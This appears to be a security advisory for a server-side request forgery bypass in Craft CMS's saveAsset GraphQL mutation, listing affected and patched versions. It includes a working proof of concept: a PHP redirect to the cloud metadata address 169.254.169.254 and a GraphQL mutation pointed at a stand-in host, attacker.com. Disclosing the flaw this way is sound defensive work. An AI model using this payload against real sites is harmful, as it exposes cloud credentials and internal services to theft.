| Package | Affected versions | Patched versions |
|---|---|---|
| craftcms/cms | ≥ 4.0.0-RC1, < 4.16.18≥ 5.0.0-RC1, < 5.8.22 | 4.16.185.8.22 |
| craft cms | = 4.0.0= 5.0.0> 4.0.0, < 4.16.18> 5.0.0, < 5.8.22 | 4.16.185.8.22 |
The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
redirect.php):<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
mutation {
save_images_Asset(_file: {
url: "https://attacker.com/redirect.php"
filename: "metadata.txt"
}) {
id
}
}
attacker.com (passes)169.254.169.254Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free